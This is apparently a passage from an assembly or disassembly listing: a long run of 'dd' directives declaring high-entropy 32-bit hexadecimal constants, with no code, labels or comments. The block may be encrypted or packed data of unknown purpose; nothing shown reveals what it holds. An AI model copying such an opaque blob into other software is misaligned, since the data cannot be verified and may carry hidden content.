		dd 48A0FC1Ch, 0CF01B0C1h, 0CAF94D3Fh, 0E990AF0Fh, 163DEBBh
		dd 1F507309h, 806C330Ah, 0AC73C159h, 0DAF200C6h, 0DEF97E50h
		dd 0EB48855Dh, 55D88058h, 0C7408BB7h, 0D00D1211h, 0E56A2292h
		dd 0FF6C2003h, 0B074D1C1h, 15DA1F42h, 80C53F5Ah, 0C6CD7D0Ah
		dd 9FDD8CA0h, 79005179h, 0BDCF2F2Bh, 5195E71h, 1BC72A69h
		dd 0C91C0407h, 8EAC40FAh, 4821A4F8h, 3078400Dh,	0A729553Eh
		dd 0FC09F0B2h, 20C4B57Dh, 0AF02ED00h, 0ED092E3h, 0B9015FD8h
		dd 8035C744h, 753F5598h, 0FE7641C3h, 0D5B5E063h, 0F7330442h
		dd 0CE9A09E6h, 239C28h,	55A0DDFFh, 6502E585h, 77FABA5Ah
		dd 0EEDC4523h, 0DAC09FF1h, 2E039F8Ch, 331F0AB7h, 80A09EDDh
		dd 0B005BFA5h, 3C1260BCh, 5903DE1Bh, 6023F54h, 0B5F2EE91h
		dd 7B7B48AAh, 7EC26F05h
		dd 3987F605h, 9864C080h, 317F603Ch, 0B967F384h,	1D533000h
		dd 8302C6A5h, 4A0C1F7Ch, 6AF7C534h, 0A47088FAh,	2660988Ch
		dd 2474C93Bh, 52406478h, 78D6E400h, 51DCEC17h, 93D8C8C4h
		dd 0CAC30F03h, 1648D09Fh, 92BC7D42h, 0E7E401FCh, 0B4327613h
		dd 5101AB23h, 21C908D9h, 0F5881D18h, 2ED60E8Eh,	0E2E0B61Bh
		dd 8AD742A1h, 17C7580Ch, 3D9B7163h, 0EDA47ECAh,	740C2CA0h
		dd 8900ED46h, 0AE8F570Ch, 0E4918BA7h, 8304BA00h, 3EA50DD5h
		dd 849EE2D2h, 5B3C0C5h,	62B94B2Dh, 0C9710472h, 0E878F85Ch
		dd 0ED038C05h, 85745C79h, 0F3F2DF63h, 91249519h, 8F40804Ah
		dd 373BDBFh, 0BB81D72Ch, 0C907348Bh, 307EDBFEh,	10805397h
		dd 0B8FC3DB9h, 33F2001Bh, 19554DD8h, 50B113ACh,	0F71892D1h
		dd 0F6E4C500h, 152D1435h, 0F02B32C9h, 1B308BC8h, 0EB903A3Bh
		dd 17B2246h, 0FD3B0331h, 0FC3713B7h, 72E7154h, 0DE0CE7h
		dd 0B9562214h, 42D64D78h, 0F46C062Ch, 1474674h,	0DA1526F1h
		dd 6C22B27Eh, 77C2A901h, 629D404Fh, 44F53E64h, 78A21079h
		dd 8485063h, 73C6058Ch,	8E321F4Dh, 3E54005Ch, 58716973h
		dd 0E746314Fh, 807A3F19h, 95891961h, 1E25B4h, 7FA483BFh
		dd 0BCFA8F2Fh, 0B075AF26h, 3D4CDD14h, 0D37A80C4h, 0EECD3DFCh
		dd 94E848F8h, 8C00688h,	211F5773h, 0D3911322h, 73C05A00h
		dd 77ACDB02h, 11982D00h, 9B89C5D1h, 0F57E0CCCh,	7598C65h
		dd 730D048Ch, 62EA1F54h, 0C55D20EDh, 8E01A873h,	94F27A1Ah
		dd 4AFCDFB3h, 59D01F51h, 42097ACAh, 0ECA7EA1Bh,	0E8A2C3A6h
		dd 0B6B4100h, 0EC5E301Dh, 0DD8527DEh, 2EC63DE0h, 8AA8753Eh
		dd 2040DB96h, 844628A8h, 0AF3B0870h, 4C4F3EBh, 3B082E40h
		dd 1D051CC8h, 4B9B0F9Eh, 277E6082h, 0C0BC9745h,	81A9118Eh
		dd 2485A31Eh, 22FE2FCEh, 484D94D9h, 0D460Ch, 0E8C01840h
		dd 115C74AAh, 0EC6CC900h, 0D60E942Dh, 0F8FD06EDh, 0E11EC4DFh
		dd 0D0B1D8A0h, 0D106DE00h, 65AF195Ah, 26589677h, 3F2409B8h
		dd 1889B869h, 7192F2DDh, 446CA4EBh, 5003749h, 0A658C3Bh
		dd 50DACF0h, 7D959E5Fh,	75E4C8B4h, 3AC2C501h, 4296F84Eh
		dd 8180C9BDh, 78281CF1h, 4600272Ah, 7EA4FA97h, 6F2CE1Bh
		dd 8B1EBC12h, 0AF723148h, 0D91D7CF8h, 0EC035141h, 94B5B48Dh
		dd 48B75888h, 54269894h, 1E4911C0h, 8A4039EFh, 0A53747CEh
		dd 9264286Ah, 9A3C0788h, 0DAA2D155h, 5E10AE94h,	0F900D146h
		dd 3C7FD3F6h, 0FA02C8CCh, 0CE7DB7F1h, 8E80A0FBh, 1E81E092h
		dd 2243C35Ah, 0B344B00h, 8025CD65h, 79A42EF9h, 202D976Ch
		dd 11207A90h, 0BA08BD3Fh, 0F9E506CAh, 12975C4h,	0BF62ADB3h
		dd 30411ECEh, 710E9BEDh, 0EE97408Ah, 0A329D9BCh, 0E83FF9F0h
		dd 0CB0C09DAh, 1440707Eh, 94A494C5h, 7F514500h,	0B79ED9FDh
		dd 0D62216DDh, 23842FA1h, 0F0F500E8h, 18A27FFAh, 33A919C0h
		dd 4CAA8E02h, 0D128DCF9h, 40B002C0h, 0BC794FC4h, 0F298072Bh
		dd 0D64696D0h, 123EEA7Ah, 901BC4F5h, 2C1AF924h,	1C0A9900h
		dd 13211E90h, 52080FFBh, 0E9008E44h, 4A09431Fh,	0F870330Eh
		dd 8288C4Eh, 0DF780364h, 9040F16Eh, 0ED433001h,	0D5980C71h
		dd 7F976ECh, 35BC6C1Eh,	0FB3A730Bh, 0BBF296A0h,	39A13E18h
		dd 3DE8E10h, 0A77E360Ah, 339385F9h, 848099B2h, 1A089290h
		dd 0AC914D00h, 0AE49F437h, 0B0AA5068h, 0DE403A3Fh, 4500F7ACh
		dd 0BA043AF4h, 8E7ECD04h, 1F0CC0EEh, 0C00FA4F7h, 86C97027h
		dd 18E34Eh, 3F68F9BAh, 513BB1Ah, 31C29A01h, 8106A7E9h
		dd 5D792180h, 13DDE2FDh, 0B87AC971h, 0AC6CF81Ch, 0CF7DA8C3h
		dd 0C7790BC0h, 50187714h, 570EFB0Ah, 98F3EE3Fh,	3FF9750h
		dd 702492F8h, 3900FC69h, 0EF89E914h, 61BBB75h, 0F777EB4h
		dd 6F0F818Ch, 80FA27F4h, 34B3FB8Ah, 281B167Dh, 0DBDC00B1h
		dd 7EBD699h, 2856925h, 0A080DD40h, 369BAD84h, 0E55E03CBh
		dd 4E445C95h, 0E71E8FE8h, 9875392Ch, 19FFC902h,	3C0880F7h
		dd 0B803D956h, 0A0848Ch, 22067E21h, 0F7266DF4h,	8406A50h
		dd 9B3FB301h, 0BF5FDF1h, 138D0E4h, 7D288C17h, 402F9F53h
		dd 0BA9D6BACh, 41C0E060h, 82B0831Ah, 0E936EC40h, 5CDC18CAh
		dd 8D7A9300h, 1C4821Eh,	0F626FF8Ah, 0C56B430Fh,	0D508F16h
		dd 0A0D569h, 0CE51F02Dh, 3943A856h, 0BFBB3FAh, 121AEE5Ah
		dd 27768C02h, 0FF8508E1h, 0BB1090BCh, 7906C772h, 4F872D4Ch
		dd 0AFFF1E78h, 414E440h, 0BF446C3Fh, 0D81CFEC4h, 0F9BB8F00h
		dd 117575Eh, 563F729Eh,	0D5EECB5Ch, 0C0F0477Dh,	272C8496h
		dd 4E1B667Ch, 0A8196E9Eh, 2D562664h, 0E0904F5Ah, 824CF01h
		dd 0FC894CFDh, 5CCB3Fh,	0FE451902h, 1E39B090h, 0B94C1409h
		dd 0F73DC0F1h, 49C9C135h, 81787BE9h, 0C4EB4568h, 0A8479C76h
		dd 4830C4BDh, 20B489D2h, 4E00A04Ch, 653CB0A5h, 185112FBh
		dd 51168BB7h, 913AA784h, 5C32801Fh, 0BCC9A666h,	37D502E8h
		dd 2468A183h, 0F63F3440h, 9FA0C47Ah, 7100DD9Eh,	79211B31h
		dd 478428h, 5E0363BCh, 6BAB8A4Dh, 80041353h, 0F5D842BEh
		dd 80C9004Ch, 0D04136E6h, 0E1F8BF12h, 9DBA7D00h, 0A6377ED7h
		dd 4FE700C1h, 1013387Ah, 31E3F32h, 0BAC0402Dh, 0F6D9C6B5h
		dd 0F3CB008Bh, 8D2A0652h, 9D075801h, 0A2BD1370h, 20508FFBh
		dd 778A5964h, 18E30171h, 41CAB423h, 0D19081A6h,	99270128h
		dd 0ADF8E0h, 595B8A95h,	0EB2E9A07h, 0EDF0080Ch,	0F66B2028h
		dd 0E61A295Fh, 2F4AE220h, 54205430h, 0F68C8075h, 726A02FAh
		dd 53188BB9h, 0E3338C90h, 0DA2EE800h, 927783EAh, 0A820012h
		dd 0E1D60A6h, 5C07D3FDh, 852F5225h, 6E9D7350h, 7C57A0Bh
		dd 78ED0E23h, 60B8411Ch, 0CB7DECFDh, 54438607h,	86C9E64h
		dd 0DC21C014h, 5BF97CBDh, 0A8F49F00h, 9CDB3751h, 1D114099h
		dd 31269500h, 22423F15h, 5448079Bh, 71401A55h, 8036EA63h
		dd 0C1580E29h, 3C3435Ch, 3B0AF971h, 0ACA365D8h,	0C9F72103h
		dd 0E07DA95Ch, 0BBA82Bh, 0BC329590h, 0BEB644B7h, 0C88F3A00h
		dd 0CBF9983Bh, 0DCE81D42h, 0C40100AEh, 84996B16h, 85135C18h
		dd 18EF9BF0h, 9057248Bh, 0D311BBBCh, 0EE000EA1h, 97D523F5h
		dd 191884EFh, 8308F78Fh, 0CD20C0BBh, 0F63523EDh, 0E7AA1700h
		dd 7E3863B7h, 18EA7FF8h, 585B109Ch, 19053FC8h, 99644370h
		dd 0CFE7B008h, 86C17D80h, 448657B3h, 0BB1DDA11h, 62C08D7Ch
		dd 5988C22Fh, 30BE0148h, 0DC11403Eh, 23D88AF0h,	0F711A80Ah
		dd 0C85CCA80h, 448C69C3h, 0D213F6B0h, 0F700555Ch, 0E5991E43h
		dd 308500A4h, 0B5EFF5FCh, 4418ED67h, 0B83095A0h, 1F2A7C45h
		dd 4011F3A3h, 0C832E374h, 0F0E8769Ah, 0C794F100h, 0D02F0469h
		dd 1B4B0F11h, 0E5A0CC6Ah, 3544EA0Ah, 0A8091532h, 5CC830EDh
		dd 0D9C3C608h, 40B56465h, 465CD0F8h, 9F060036h,	0C0AB7026h
		dd 10F2CE96h, 0F81E2C90h, 0F30715C1h, 0AFD044EEh, 14090E6h
		dd 0B0FF7035h, 80CDC066h, 0D4EA1A88h, 0A713DB65h, 60A94498h
		dd 209F0D9h, 0EAC4B02Eh, 84BFEA7h, 0B3CE52D8h, 0CFA95B07h
		dd 0C1005390h, 11B73h, 269B6917h, 0C50E253Eh, 0DF511E70h
		dd 0BCE401DCh, 60B050E4h, 0B4896C7h, 3D0A0920h,	0DE4C2448h
		dd 0D423F260h, 11E79723h, 0EA007D82h, 0DD65523h, 1F3150h
		dd 11EBE118h, 2785ECC9h, 1B5C421Bh, 16682250h, 8C7B8D0Eh
		dd 0E3404086h, 0D4D0B6Ah, 0BD337720h, 9F65C458h, 11449950h
		dd 0E9EBD112h, 2FC5F004h
		dd 8B5BCA00h, 0B090B872h, 941DFD04h, 3605B15Ch,	0EEA440B7h
		dd 9803B8FBh, 0BEEFD007h, 0CB99FEDh, 2A110814h,	3C8865C3h
		dd 0C53ED1D6h, 67D1163h, 0DB828100h, 0E069EFDFh, 24AA01A2h
		dd 0A1D0EBAFh, 0A4845085h, 0F4C41FAh, 0ADA8000Bh, 0B861982h
		dd 0AA37012Bh, 7DE2B547h, 0EA518303h, 88F0CAD0h, 1EAB5B2Dh
		dd 52F2BA2Bh, 6CC85484h, 0FA371Eh, 6702D30Fh, 1D00BDBFh
		dd 0C8B4EADBh, 93E60E27h, 7D043DECh, 629B86CEh,	40E72028h
		dd 261DCC7Dh, 2E58290Ch, 9A4919h, 964D755Eh, 76130B99h
		dd 122BFB0Eh, 0FA6A40D6h, 0B0E8708Fh, 60F44DE5h, 0C0AD6880h
		dd 0A02A143Bh, 4E009862h, 2DE7FB2Bh, 60371282h,	8C1B1966h
		dd 38C9A93Ch, 0A650B0C7h, 0D7F0A817h, 5031EE1h,	0A7078011h
		dd 187D6B22h, 48C4A9C0h, 24166781h, 0C249266h, 4450AA90h
		dd 69C0A37Ch, 0E1FD64A7h, 0F2CEC0EDh, 0BE209C11h, 6F0B899h
		dd 3F0086B8h, 6A8DD339h, 48052697h, 80623CF0h, 2C84B5E8h
		dd 23F160D7h, 8F9721D1h, 23E9C9C0h, 9E2E0973h, 6C07E621h
		dd 4194025Fh, 1B985848h, 5614AC19h, 80CB8F60h, 49F619B4h
		dd 0ED8778C5h, 0A040B1C6h, 80805063h, 0EE774DDFh, 0B4EBCB0Bh
		dd 8CCA0EE5h, 0F6A22188h, 0CD43064Dh, 688B018Ch, 0B600E2E3h
		dd 24940C79h, 8949B3Bh,	370CF2BFh, 3ADD9943h, 0DEA42D2Fh
		dd 0F2640057h, 4790BEC8h, 3E1F8407h, 9603B8DFh,	0C53104B9h
		dd 0D1F1A816h, 0A40F5B3Ch, 467484B9h, 2AA500A6h, 0DA8C841Bh
		dd 0B5507C1h, 0D386D398h, 5800973Bh, 4EF6A8F2h,	90BEDDE5h
		dd 19FA0A20h, 6190A3BFh, 0DDF34ED6h, 888B18C3h,	4D00EEA5h
		dd 63ED96B0h, 135E4FB5h, 55BC03Fh, 884F254h, 0CFC0E860h
		dd 46C3415Ch, 0F4B32261h, 0BD5C00D7h, 0B9999ADAh, 72EB27CFh
		dd 0C2077C4Ch, 6AFCE40Eh, 5E3425F1h, 543143E9h,	0D83084F5h
		dd 0C7EE2835h, 0B9E30B8h, 4A311338h, 94309BF8h,	0D22148B0h
		dd 50FA48EEh, 0D35CE500h, 93DB0D4Dh, 0BE05363Bh, 709F003Ah
		dd 0C7540CC0h, 0E5080190h, 0E1369879h, 0B238801Ch, 4D37506Eh
		dd 0A710C9F9h, 60EA3484h, 23CA7DCCh, 1211BB86h,	7D44DB00h
		dd 843D1188h, 0BBD539h,	0B62FFC51h, 6AA78Bh, 0FA283B01h
		dd 659B3247h, 0D046A090h, 0D623F002h, 1CF798h, 7923E8CEh
		dd 9A3F46D5h, 0C67C2254h, 97E4F8A5h, 1C255B60h,	7E3BEC01h
		dd 6CC45C56h, 981559C0h, 26707D20h, 8001A54h, 0EF04FCF9h
		dd 8C88366Eh, 0E49A1469h, 2B00B60Ch, 0D2AD99ABh, 1498F525h
		dd 40575826h, 0A1C78F6h, 51A252F1h, 9CE552CCh, 0BC602A64h
		dd 0A760376Fh, 0AD43C1B9h, 74870024h, 549BE162h, 1800A9B8h
		dd 7A76D8BDh, 9AFAE3Fh,	0EDEC16C4h, 0BA5E403h, 0ABACA100h
		dd 0C4B19E4Ch, 0DD95FE57h, 0B6BB00C1h, 0FF39EFDCh, 0EC898662h
		dd 706437h, 0D03EEE30h,	0F9776DE9h, 63AC9A00h, 0D3C5E179h
		dd 90A02AC6h, 1BEF30D0h, 5EC9D8ECh, 2C43B100h, 98A90310h
		dd 60359014h, 33CFE102h, 62F08CDAh, 290A7317h, 49A06800h
		dd 32A911C8h, 23C0EA32h, 29E49CC5h, 6DC74660h, 8331EF13h
		dd 54404034h, 50275C2h,	7E2C1E89h, 0BA310014h, 70E4D62Dh
		dd 84D0AD02h, 60945B7Ch, 0B8CAF320h, 889E78C4h,	510058D8h
		dd 1C3AAC6Dh, 2CEA52h, 1099EF07h, 9060AD4Bh, 28E56A24h
		dd 0BA66408h, 7C103411h, 10549A9Fh, 0BC1926CCh,	0A5C12F1Ch
		dd 0B605B062h, 80C13F78h, 95E32BC7h, 0C9A0045Dh, 0B9A004F9h
		dd 0F14DD060h, 808CB3EEh, 0E8A75Ch, 43FC1A4Dh, 980C1B9Fh
		dd 78711960h, 0F70A876h, 0F3EF2D63h, 7F183460h,	8C94756Bh
		dd 0A15BC100h, 46632580h, 5CCB01ECh, 65C1C3C5h,	289CA70Ch
		dd 0B033EB6Fh, 123AB048h, 0DD4596F7h, 0C0F81A80h, 0CEF8BD49h
		dd 0B81F4866h, 4BFE816h, 0E4839F28h, 0CF101534h, 0CC402936h
		dd 215A404Ch, 10786B5Ch, 9706AE6Ch, 28FD3D36h, 28376098h
		dd 4C96B1BFh, 2EE846A0h, 9C2AD4C6h, 8069E4B1h, 91297C6Dh
		dd 1D8E0AD5h, 0A480908Ch, 6850850h, 1112C428h, 102060C3h
		dd 0E4452070h, 1A8A2E01h, 8C17A5D8h, 9980A991h,	9691EE42h
		dd 0FFC13E18h, 414074D9h, 2C20365Bh, 3A089CDFh,	0FC200093h
		dd 0C40145D3h, 0D5508400h, 0B9ED6494h, 0DB9E07C5h, 650BB154h
		dd 0D8EC6488h, 860DC060h, 506E9B64h, 0B47841D3h, 4094BC18h
		dd 7B278DDEh, 913097B8h, 0B8F19C29h, 0F86295AEh, 0CD01EE23h
		dd 0D1C3C75Ch, 0FBB02038h, 0E4005CD5h, 0E2D3FFC6h, 5CECA1EBh
		dd 9700576Ch, 0E7E6C5D0h, 0D09C6AF4h, 3154674h,	0A1013573h
		dd 5A9882FFh, 0AA960774h, 66C5E2ECh, 8409615Ch,	6883BE94h
		dd 0E5BCAC90h, 20B49501h, 4B519C48h, 0BD002008h, 4DD42C8Ch
		dd 0EAD30964h, 10810099h, 4DECA3h, 77989693h, 0F9276BAh
		dd 8440530Ah, 0EB119C06h, 0CC5CD680h, 448CC9C3h, 0DE00FAB3h
		dd 18782B5Ch, 5247E507h, 4C0ECC7Dh, 562BA4FBh, 1792B80h
		dd 8B00C77Ch, 0EBD49604h, 14E73EA5h, 0D8460C9Fh, 8CACE8h
		dd 844AB2BBh, 90F854A4h, 0E2414212h, 0E08140D4h, 0C3039793h
		dd 6019C0D1h, 98BB3528h, 0C562BB81h, 0A4C421FAh, 0BFC1275Ch
		dd 0D2B03803h, 3DCC6991h, 5962040Ch, 80CEB52Bh,	0A0C3B288h
		dd 2438F8A8h, 74BF4A0Dh, 23282AB0h, 979900A6h, 631A9E6Dh
		dd 829DB509h, 84A4993Eh, 0C48F27CCh, 82541160h,	0C730EB5Ch
		dd 86CD1F7Dh, 0DE60E1D3h, 0B97CBFh, 0CF0B2865h,	8E54359Eh
		dd 99B7A600h, 4FD458E5h, 5988029Fh, 0EB47E6C3h,	0CE36B082h
		dd 9073E07Bh, 38BB25D6h, 1DFE5463h, 0AEFED1B1h,	0AA830450h
		dd 101CD688h, 12A1C018h, 0A7B761h, 0A5F57076h, 0FC0483CEh
		dd 0DE32B400h, 0AFD0ACC5h, 93E625C2h, 7B66D800h, 8CA0B917h
		dd 6C09B741h, 9F65E237h, 80B311B0h, 798DE5CBh, 7B1F1595h
		dd 5F02A01Ah, 648E2022h, 562774C0h, 11F1C202h, 793CF49Ch
		dd 1883D9DCh, 59D200E8h, 6EC571A5h, 0DE7A2E84h,	97311B0Fh
		dd 631E01B7h, 0E093660Fh, 0BDF490A3h, 9F015046h, 32227113h
		dd 80200D5Dh, 4E11E4E6h, 0ACFC2039h, 93804BA8h,	9D33012Eh
		dd 9ABD423Bh, 7D1980C8h, 0DF0B696h, 9F1300E8h, 4EE6A731h
		dd 1B1FEA7Eh, 1009C828h, 0C4446525h, 15316013h,	689500B1h
		dd 910B9C3h, 0DCA285A4h, 1344BC67h, 72E37160h, 31B5C603h
		dd 9D9E1Bh, 0FB80A5E9h,	43F8484Bh, 20644D2Ch, 11049752h
		dd 0D37D80A4h, 5E0636B5h, 0BD643192h, 0C8284A25h, 9317C0ACh
		dd 9A016AE0h, 44A1E17Eh, 0C18064A0h, 658A996Fh,	87F3A79Fh
		dd 0C0EDBE59h, 0A94B1230h, 1E5C9808h, 0F03A84D0h, 85E5CA69h
		dd 9EA00F18h, 0FA26F749h, 2B1500B2h, 83DDC874h,	0D7038C16h
		dd 0F1127350h, 44389AB1h, 8F9F1910h, 40C8710Fh,	0D6F5C560h
		dd 0D2BBBD12h, 23106867h, 8C8797D0h, 0E6F48045h, 0F0BF0423h
		dd 0CC31E00Fh, 0E4960788h, 2C2BBC65h, 6700F923h, 3568CB41h
		dd 3F2C9E21h, 4DD20EC6h, 0EA23E4EFh, 0D9278932h, 0A0874DB0h
		dd 3B0A4A6h, 0F3D6CF04h, 0C8C09033h, 0AD04261Bh, 0A375E349h
		dd 35062080h, 0E90B026Fh, 0EE4B6CE0h, 0C90F044Ch, 0F3040945h
		dd 3F839402h, 10E890A3h, 0DAA4132Ch, 0B520207Ah, 0FC00553Fh
		dd 0B699BEF0h, 0A4C54AA8h, 0E4ED50B8h, 70DE02E8h, 0B7CF784Bh
		dd 0D1D6FC81h, 36885197h, 9E0E004Ah, 2DE51C6Ah,	6D4480A5h
		dd 11982849h, 94AE3600h, 0D7FDE960h, 0D17C91C7h, 388318A6h
		dd 6112BBC4h, 97048C02h
		dd 2A2ECE13h, 6D2340Eh,	139B695h, 8550E596h, 2C82CFF9h
		dd 0AEC381D0h, 7C79115Fh, 0AFE8B44Ch, 64F7008Ch, 30D79433h
		dd 680AB9B7h, 0AC017D5Fh, 0F03C7E80h, 2B0258Ch,	8950B514h
		dd 7C505E68h, 13E36640h, 0BFD33A1h, 0E046673Ch,	0B0941D16h
		dd 0CA0050C4h, 0E8AD71ACh, 298417C2h, 931447F5h, 0C709E403h
		dd 1D808880h, 5BF29A14h, 9DF34A41h, 0A848692Ch,	760704CDh
		dd 0A294A81Eh, 0AA6504B8h, 0B0A45D38h, 2C82509Fh, 1809038Eh
		dd 9E6E8C78h, 0C421D05Ah, 0BCD064EAh, 13C5E4E2h, 80481979h
		dd 0D0AEE8C0h, 7E5D831Dh, 2C04D397h, 0F3008CBFh, 0B73D21C5h
		dd 60983900h, 0EA0AE2CDh, 7ED61367h, 237C3AA8h,	0DC8905A7h
		dd 0F7449418h, 8C1B0794h, 91CF40B8h, 0C109C090h, 20C5540Ch
		dd 986013E4h, 0FB00CE32h, 5DD5D0C3h, 908376A9h,	744E800h
		dd 6CD35A40h, 43304221h, 65B778E1h, 0B8082D4Ch,	72A205BAh
		dd 0A3A51BC4h, 17A32D14h, 802991E0h, 9B7C84C1h,	66CCA265h
		dd 3CDE214h, 0B1AACC7Fh, 0E9B80D44h, 8913296Ch,	2820E618h
		dd 3B52AA96h, 20DEC020h, 0CB69DCF0h, 0C65560BFh, 2F2C993Fh
		dd 0C4B0C820h, 0F0FCD35Fh, 465E6CBCh, 0B0740292h, 48423885h
		dd 24D93700h, 5A900B10h, 0C560006Dh, 1ED570CDh,	53CA224Ah
		dd 8830CF7Fh, 34C7C012h, 8601798Eh, 92140FABh, 906938A8h
		dd 16F12F07h, 8E01131Eh, 9D2999D0h, 0A6A2200h, 0A9B83E32h
		dd 2440942Ah, 9F283934h, 5EB894D4h, 267EA646h, 3B9CC567h
		dd 0E6C4844Ah, 1509E00Ch, 7F8724C4h, 390F1160h,	0FFA50046h
		dd 0F4FBD6C7h, 5EE600C5h, 96CE18C4h, 28FA411Bh,	0E4A1D32Ch
		dd 0B9249741h, 7F6143C8h, 7A250038h, 925B07C5h,	0DE00F072h
		dd 42D6C2CAh, 0F1380911h, 2AECEC68h, 4AE7C8Ch, 8478A18Fh
		dd 0F29CB247h, 8CF130ACh, 0E0318B07h, 6BB211CBh, 90D2A3h
		dd 8C702387h, 7DCA9380h, 0F4973E1Ch, 0D5D37440h, 2E1B1CCBh
		dd 125096BCh, 0B0E480FAh, 7213223Ah, 4401EB9Ah,	0F999C356h
		dd 0F9BCF028h, 17A5388Ch, 90C79D00h, 1101D20Dh,	0C09B3A2Eh
		dd 78580C64h, 6B143C4Fh, 9DE07DE8h, 6925BE41h, 6F60860Ah
		dd 324201A1h, 0C3D68C40h, 0D5999181h, 0D723F380h, 448CFF98h
		dd 0EB02CFFAh, 3FEEC023h, 0ADE8C841h, 0D3D2028Ah, 9F7B309Ch
		dd 1EC328C8h, 74FB2424h, 0F383647h, 71BAE441h, 88B72060h
		dd 1C346082h, 21868307h, 1C3750CAh, 9702AF1Eh, 0F865F936h
		dd 79E4B118h, 2AF188Dh,	349A37D6h, 0F4C184AAh, 13F0095h
		dd 647B3025h, 11BBCEB0h, 40D0744Ah, 33D9C693h, 0DF03BAAh
		dd 6A4CA102h, 527633A5h, 78150384h, 0B0541C68h,	9C5CE050h
		dd 0BB454C90h, 0A45D0C60h, 1D20BCF4h, 290E202Dh, 0C76DD0C5h
		dd 3ED5AADAh, 921CCE4h,	0F483331Bh, 0AF27C458h,	80503525h
		dd 124DAEC0h, 1B02A3B2h, 3536F747h, 0F0A88D64h,	18936448h
		dd 0F0AB233Eh, 75010AA8h, 8B0E0856h, 984090D2h,	5E5FE5h
		dd 1935BD37h, 59E3033Eh, 69830A08h, 9CA50857h, 2F841103h
		dd 0F5583832h, 0CA7E301h, 0EA86380Dh, 0B044DC47h, 15988360h
		dd 0C4B7D204h, 0D8E8EEB6h, 49D5A61Ah, 82441467h, 610BCC60h
		dd 93BAB900h, 0AF18AA38h, 0D7E34B40h, 0BD8C0F24h, 0C50C9889h
		dd 11BE375Ch, 6DED4838h, 2E7202Ch, 5F1B0FC3h, 83114497h
		dd 0A4F1FA80h, 270E7210h, 82EAB240h, 21F8E5BCh,	104538BDh
		dd 8EFBDEh, 0A3EC4072h,	0A57695B0h, 0B480889Eh,	0FB19FD61h
		dd 2BAE615h, 3317F458h,	89C09E04h, 0A1123CB0h, 0D40081CFh
		dd 0E3429B1Dh, 0AD842473h, 400E1D34h, 0C4BDED8Dh, 68247525h
		dd 36845CB4h, 1C902E31h, 5CDADB94h, 6800D050h, 0CE8DD1CBh
		dd 20C02B8Eh, 0EBFAC960h, 207153D3h, 53E83C8Eh,	0EA394B6Fh
		dd 40245CD0h, 0A1428603h, 0AB575405h, 0B8CB24ECh, 74C016C8h
		dd 0A6CCF9Bh, 40373915h, 0F1BF80A4h, 0EAE0ECC6h, 8E414E00h
		dd 7B96723Fh, 95DE1FE9h, 499EC17Ah, 2AA4CE20h, 2504A454h
		dd 91644878h, 0DD990081h, 0CAD7F985h, 790113D9h, 668FBD6Ah
		dd 1DD0D0E2h, 36E75F6h,	6486C5F2h, 0BC29BDBh, 465E707Ch
		dd 585403A7h, 0A4F08C1Bh, 201184A4h, 70073F19h,	84D0E020h
		dd 0F9983E41h, 1D646E2Bh, 0DCD79F4Ch, 814A7408h, 0B9153D1Bh
		dd 0C01EC6Eh, 13CBEC4Ch, 0CC105171h, 43F9B834h,	0B0FD1FBBh
		dd 909FC05Eh, 0BD8EDA87h, 796C5169h, 0B0188Bh, 2B4E04DEh
		dd 3F690662h, 870D1909h, 94F08267h, 3DBCE89Ah, 0DEC0B424h
		dd 0B5B8D601h, 0E850DD17h, 0B8D80AECh, 0C22D4464h, 5670180Eh
		dd 0A04FA0BDh, 7D6D066Bh, 399348D3h, 0F1B00B7Ch, 0D842E9CFh
		dd 297928F1h, 0D0C4A718h, 0A21298EAh, 707E006Ch, 18561BDh
		dd 2CDA039Fh, 98A38B4Bh, 7AC36FE0h, 0D700B4B1h,	890C4052h
		dd 486401EFh, 2F8CF965h, 0CF36ECA9h, 0C30E2702h, 5AF563AEh
		dd 0B7410174h, 2D322133h, 0E07A2E15h, 0FFE2D907h, 1FA13183h
		dd 82608380h, 0B0E50104h, 4BAEC50Bh, 30B005AFh,	947FC13Dh
		dd 7C013AC0h, 96A0D0B0h, 4F1910D0h, 0A4A81108h,	0EF0B03BCh
		dd 0B740AEh, 0BFEDC4DFh, 9AA319C9h, 80782805h, 8FD260B9h
		dd 5C972C9Eh, 97EC443Bh, 9CAE008Ch, 0E5964C59h,	4F74B548h
		dd 0B30C7319h, 94343ED8h, 0C6362E11h, 941B8298h, 40D4DFCCh
		dd 5FBF0FF4h, 5720DF0Bh, 9A33052Ch, 184470B0h, 59ADB084h
		dd 0A10AF094h, 5A81053h, 0E0BB2E9Eh, 0E752418Ch, 59017084h
		dd 11549B10h, 19A05337h, 0A0442188h, 0F24DD387h, 0AE38EBF4h
		dd 0BA4DEF1Eh, 3DCDA200h, 0B879F0A1h, 348080C4h, 2C1953C0h
		dd 0BB3096A2h, 0E33900EEh, 61560D76h, 7586242h,	23AE0B68h
		dd 951CA20Fh, 0AC1712BBh, 0AC818211h, 60F4F05Fh, 2A02037Ah
		dd 0F92EF88Ah, 278C4016h, 29E92E9Ah, 0A5142E80h, 0E1070837h
		dd 7150519Ah, 6461205h,	193E98BEh, 7D306820h, 74865104h
		dd 101E284h, 8D08EEBCh,	227DB72Ch, 1F0A7EF8h, 0B4F11974h
		dd 4928ECA7h, 0F6D33411h, 8B39A028h, 47A3003Dh,	0F026BF7Bh
		dd 0EF005C8Fh, 1B0C2130h, 5A3FB028h, 65B4084Bh,	78230609h
		dd 1B8D448Ch, 88147424h, 872034A4h, 0F0003F4Fh,	1B1DEB29h
		dd 0B6C50AEAh, 88E414AEh, 0D149B73Ch, 0BB80584Ch, 0DB9C3C86h
		dd 0DF04B0BCh, 1C0212CFh, 84BDCD4Ah, 0B807215Eh, 2EC13D80h
		dd 14B392h, 0B5525F3Bh,	9F3964BCh, 0A48B254Fh, 1C0B288h
		dd 1F0920FBh, 43427D1h,	0B0640F63h, 5552B290h, 3083E27Ch
		dd 9100BD4Ah, 0EAD3AD2Bh, 16797FB7h, 0E274EFC5h, 72C608CCh
		dd 5E1B0A2Eh, 0E912DEB0h, 5430B587h, 29F44Ch, 0D5BB6E42h
		dd 0DEFF1FEh, 0BA52516h, 384DA8ACh, 1D1AC704h, 0B870B8FAh
		dd 51008C8Bh, 0BC34D191h, 481C506Ah, 0DF094096h, 0B878A137h
		dd 0F55BB03h, 5141ACFh,	36EF1310h, 2BBC40A8h, 35FFE7D4h
		dd 3B89CE00h, 5D15B617h, 3DA7959h, 3A6556BEh, 0ACB91195h
		dd 5CF6D8AFh, 864DDD1Ch, 10D49012h, 99BCC6h, 76692994h
		dd 81F9D283h, 5B30C505h, 0E4168DB7h, 0F3E034B6h, 19036235h
